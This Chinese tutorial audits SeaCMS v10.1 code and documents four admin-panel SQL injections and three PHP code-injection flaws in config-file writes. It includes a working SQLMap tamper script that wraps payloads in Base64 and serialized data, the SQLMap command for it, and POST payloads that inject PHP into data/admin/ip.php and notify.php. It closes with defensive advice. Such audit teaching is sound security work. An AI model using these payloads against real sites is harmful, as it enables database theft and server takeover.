SeaCMS v10.1代码审计实战
字数 1461 2025-08-15 21:31:19

SeaCMS v10.1 代码审计实战教学文档

一、环境准备

  • 测试环境

    • PHPStudy Pro
    • PHP 5.4.45 nts
    • Seay代码审计工具
    • PhpStorm
    • SQLMap
    • SeaCMS v10.1
  • 源码获取

    • 由于官网已无法访问,可通过百度网盘获取:
      • 链接:https://pan.baidu.com/s/1f9mXyOX6sgsersyNz-kDQg
      • 提取码:j3k0

二、目录结构分析

admin/              # 后台管理目录(随机生成)
coplugins/          # 已停用目录
ebak/               # 帝国备份王数据备份
editor/             # 编辑器
img/                # 后台静态文件
js/                 # 后台js文件
templets/           # 后台模板文件
article/            # 文章内容页
articlelist/        # 文章列表页
comment/            # 评论系统
api/                # 评论接口文件
images/             # 评论静态文件
js/                 # 评论js文件
data/               # 配置数据及缓存文件
    admin/          # 后台配置保存
    cache/          # 缓存
    mark/           # 水印
    sessions/       # sessions文件
detail/             # 视频内容页
include/            # 核心文件
    crons/          # 定时任务配置
    data/           # 静态文件
    inc/            # 扩展文件
    webscan/        # 360安全监测模块
install/            # 安装模块
    images/         # 安装模块静态文件
    templates/      # 安装模块模板
    js/             # js文件
ads/                # 默认广告目录
player/             # 播放器目录
list/               # 视频列表页
news/               # 文章首页
pic/                # 静态文件
faces/              # 表情图像
member/             # 会员模块界面
slide/              # 旧版Flash幻灯片
zt/                 # 专题静态文件
templets/           # 模板目录
topic/              # 专题内容页
topiclist/          # 专题列表页
uploads/            # 上传文件目录
video/              # 视频播放页
weixin/             # 微信接口目录
index.php           # 首页文件

三、漏洞分析

1. 后台SQL注入漏洞(一)

位置admin_ajax.php 第76行

漏洞代码

elseif($action == "checkrepeat") {
    $v_name = iconv('utf-8','utf-8',$_GET["v_name"]);
    $row = $dsql->GetOne("select count(*) as dd from sea_data where v_name='$v_name'");
    $num = $row['dd'];
    if($num == 0){echo "ok";} else {echo "err";}
}

漏洞分析

  1. 参数v_name直接拼接进SQL语句
  2. 虽然调用了GetOne函数进行安全检查,但存在绕过可能

过滤函数分析

function CheckSql($db_string, $querytype='select') {
    // 大量关键字过滤,但都是小写过滤
    $db_string = str_ireplace('--', "", $db_string);
    $db_string = str_ireplace('/*', "", $db_string);
    // ...其他过滤...
    
    // 最终转换为小写
    $clean = trim(strtolower(preg_replace(array('~\s+~s'), array(' '), $clean)));
    
    // 检查union等关键字
    if(stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
        $fail = true;
        $error = "union detect";
    }
    // ...其他检查...
}

绕过方式

  • 由于最终转换为小写检查,无法使用大小写绕过
  • 不能使用select子查询,只能注入出当前数据库

2. 后台SQL注入漏洞(二)

位置admin_comment_news.php 第54行

漏洞代码

elseif($action == "delallcomment") {
    if(empty($e_id)) {
        ShowMsg("请选择需要删除的评论","-1");
        exit();
    }
    $ids = implode(',', $e_id);
    delcommentcache($ids);
    $dsql->ExecuteNoneQuery("delete from sea_comment where id in(".$ids.")");
    ShowMsg("成功删除所选评论!","admin_comment_news.php");
    exit();
}

漏洞分析

  1. 参数e_id直接拼接进SQL语句
  2. 调用ExecuteNoneQuery时默认未开启SQL安全检查

相关函数

function ExecuteNoneQuery($sql='') {
    // ...
    // SQL语句安全检查默认关闭
    if($this->safeCheck) CheckSql($this->queryString, 'update');
    return mysqli_query($this->linkID, $this->queryString);
}

3. 后台SQL注入漏洞(三)

位置admin_video.php 第44行

漏洞分析

  1. 用户输入参数未经过滤直接拼接SQL语句
  2. 调用ExecuteNoneQuery时默认未开启SQL安全检查

4. 后台SQL注入漏洞(四)

位置admin_collect_news.php 第382行

漏洞代码

elseif($action=="importok") {
    $importrule = trim($importrule);
    if(empty($importrule)) {
        ShowMsg("规则内容为空!","-1");
        exit();
    }
    
    // Base64解码和反序列化
    if(m_ereg('^BASE64:',$importrule)) {
        $importrules = explode(':',$importrule);
        $importrule = $importrules[1];
        $importrule = unserialize(base64_decode($importrule)) OR die('配置字符串有错误!');
    }
    
    // SQL拼接和执行
    $sql = si("sea_co_config",$data,1);
    $dsql->ExecuteNoneQuery($sql);
}

利用方式
需要编写SQLMap的tamper脚本处理Base64编码和序列化:

#!/usr/bin/env python
# addnote.py

import base64

def tamper(payload, **kwargs):
    b = 'getlistnum`) values(3+(1=2 qqq))#'
    b = b.replace('qqq', payload)
    
    a = 'a:2:{s:6:"config";a:3:{s:5:"cname";s:1:"1";s:6:"cotype";s:1:"1";s:len:"string";i:123;}s:4:"type";a:0:{}}'
    a = a.replace('len', str(len(b)))
    a = a.replace('string', b)
    
    return "BASE64:" + base64.b64encode(a) + ":END"

SQLMap命令

sqlmap.py -r request.txt -p importrule --dbms mysql --risk 3 -v 3 --dbs --tamper=addnote

5. 后台命令执行漏洞(一)

位置admin_ip.php 第5行

漏洞代码

if($action=="set") {
    $v = $_POST['v'];
    $ip = $_POST['ip'];
    $open = fopen("../data/admin/ip.php","w");
    $str = '<?php ';
    $str .= '$v = "';
    $str .= "$v";
    $str .= '";' . "\n";
    $str .= '$ip = "';
    $str .= "$ip";
    $str .= '";' . "\n";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_ip.php");
    exit;
}

利用方式
构造POST请求:

action=set&v=1";phpinfo();//&ip=1";phpinfo();//

访问生成的文件:
/data/admin/ip.php

6. 后台命令执行漏洞(二)

位置admin_weixin.php 第5行

漏洞分析

  1. 类似admin_ip.php的漏洞
  2. 用户输入未过滤直接写入文件

7. 后台命令执行漏洞(三)

位置admin_notify.php 第5行

漏洞代码

if($action=="set") {
    $notify1 = $_POST['notify1'];
    $notify2 = $_POST['notify2'];
    $notify3 = $_POST['notify3'];
    $open = fopen("../data/admin/notify.php","w");
    $str = '<?php ';
    $str .= '$notify1 = "';
    $str .= "$notify1";
    $str .= '";' . "\n";
    $str .= '$notify2 = "';
    $str .= "$notify2";
    $str .= '";' . "\n";
    $str .= '$notify3 = "';
    $str .= "$notify3";
    $str .= '";' . "\n";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_notify.php");
    exit;
}

利用方式
构造POST请求:

action=set&notify1=1";phpinfo();//&notify2=1";phpinfo();//&notify3=1";phpinfo();//

访问生成的文件:
/data/admin/notify.php

四、审计技巧总结

  1. 重点关注功能点

    • 文件上传功能
    • SQL语句拼接处
    • 文件写入操作(特别是配置文件写入)
    • 反序列化操作
  2. 工具配合使用

    • 使用Seay源代码审计系统进行全局函数搜索
    • 使用PhpStorm进行动态调试,跟踪参数传递和语句拼接
    • 结合SQLMap进行自动化测试
  3. 代码审计要点

    • 检查用户输入是否经过充分过滤
    • 跟踪敏感函数的调用链
    • 注意全局安全配置是否生效
    • 检查序列化和反序列化操作的安全性
  4. 漏洞挖掘方向

    • 寻找直接拼接SQL语句的位置
    • 查找文件写入操作且未过滤用户输入的地方
    • 检查反序列化操作是否可控
    • 验证全局安全函数是否被正确调用

五、防御建议

  1. SQL注入防御

    • 使用参数化查询
    • 对所有用户输入进行严格的过滤和转义
    • 确保全局安全函数被正确调用
  2. 命令执行防御

    • 对写入文件的内容进行严格过滤
    • 避免将用户输入直接拼接到PHP代码中
    • 使用白名单验证输入内容
  3. 其他安全措施

    • 限制后台访问IP
    • 加强权限控制
    • 定期更新和修补系统漏洞

通过本案例学习,可以掌握基本的代码审计方法和常见漏洞的挖掘技巧,特别是后台功能的安全审计要点。

SeaCMS v10.1 代码审计实战教学文档 一、环境准备 测试环境 : PHPStudy Pro PHP 5.4.45 nts Seay代码审计工具 PhpStorm SQLMap SeaCMS v10.1 源码获取 : 由于官网已无法访问,可通过百度网盘获取: 链接:https://pan.baidu.com/s/1f9mXyOX6sgsersyNz-kDQg 提取码:j3k0 二、目录结构分析 三、漏洞分析 1. 后台SQL注入漏洞(一) 位置 : admin_ajax.php 第76行 漏洞代码 : 漏洞分析 : 参数 v_name 直接拼接进SQL语句 虽然调用了 GetOne 函数进行安全检查,但存在绕过可能 过滤函数分析 : 绕过方式 : 由于最终转换为小写检查,无法使用大小写绕过 不能使用select子查询,只能注入出当前数据库 2. 后台SQL注入漏洞(二) 位置 : admin_comment_news.php 第54行 漏洞代码 : 漏洞分析 : 参数 e_id 直接拼接进SQL语句 调用 ExecuteNoneQuery 时默认未开启SQL安全检查 相关函数 : 3. 后台SQL注入漏洞(三) 位置 : admin_video.php 第44行 漏洞分析 : 用户输入参数未经过滤直接拼接SQL语句 调用 ExecuteNoneQuery 时默认未开启SQL安全检查 4. 后台SQL注入漏洞(四) 位置 : admin_collect_news.php 第382行 漏洞代码 : 利用方式 : 需要编写SQLMap的tamper脚本处理Base64编码和序列化: SQLMap命令 : 5. 后台命令执行漏洞(一) 位置 : admin_ip.php 第5行 漏洞代码 : 利用方式 : 构造POST请求: 访问生成的文件: /data/admin/ip.php 6. 后台命令执行漏洞(二) 位置 : admin_weixin.php 第5行 漏洞分析 : 类似 admin_ip.php 的漏洞 用户输入未过滤直接写入文件 7. 后台命令执行漏洞(三) 位置 : admin_notify.php 第5行 漏洞代码 : 利用方式 : 构造POST请求: 访问生成的文件: /data/admin/notify.php 四、审计技巧总结 重点关注功能点 : 文件上传功能 SQL语句拼接处 文件写入操作(特别是配置文件写入) 反序列化操作 工具配合使用 : 使用Seay源代码审计系统进行全局函数搜索 使用PhpStorm进行动态调试,跟踪参数传递和语句拼接 结合SQLMap进行自动化测试 代码审计要点 : 检查用户输入是否经过充分过滤 跟踪敏感函数的调用链 注意全局安全配置是否生效 检查序列化和反序列化操作的安全性 漏洞挖掘方向 : 寻找直接拼接SQL语句的位置 查找文件写入操作且未过滤用户输入的地方 检查反序列化操作是否可控 验证全局安全函数是否被正确调用 五、防御建议 SQL注入防御 : 使用参数化查询 对所有用户输入进行严格的过滤和转义 确保全局安全函数被正确调用 命令执行防御 : 对写入文件的内容进行严格过滤 避免将用户输入直接拼接到PHP代码中 使用白名单验证输入内容 其他安全措施 : 限制后台访问IP 加强权限控制 定期更新和修补系统漏洞 通过本案例学习,可以掌握基本的代码审计方法和常见漏洞的挖掘技巧,特别是后台功能的安全审计要点。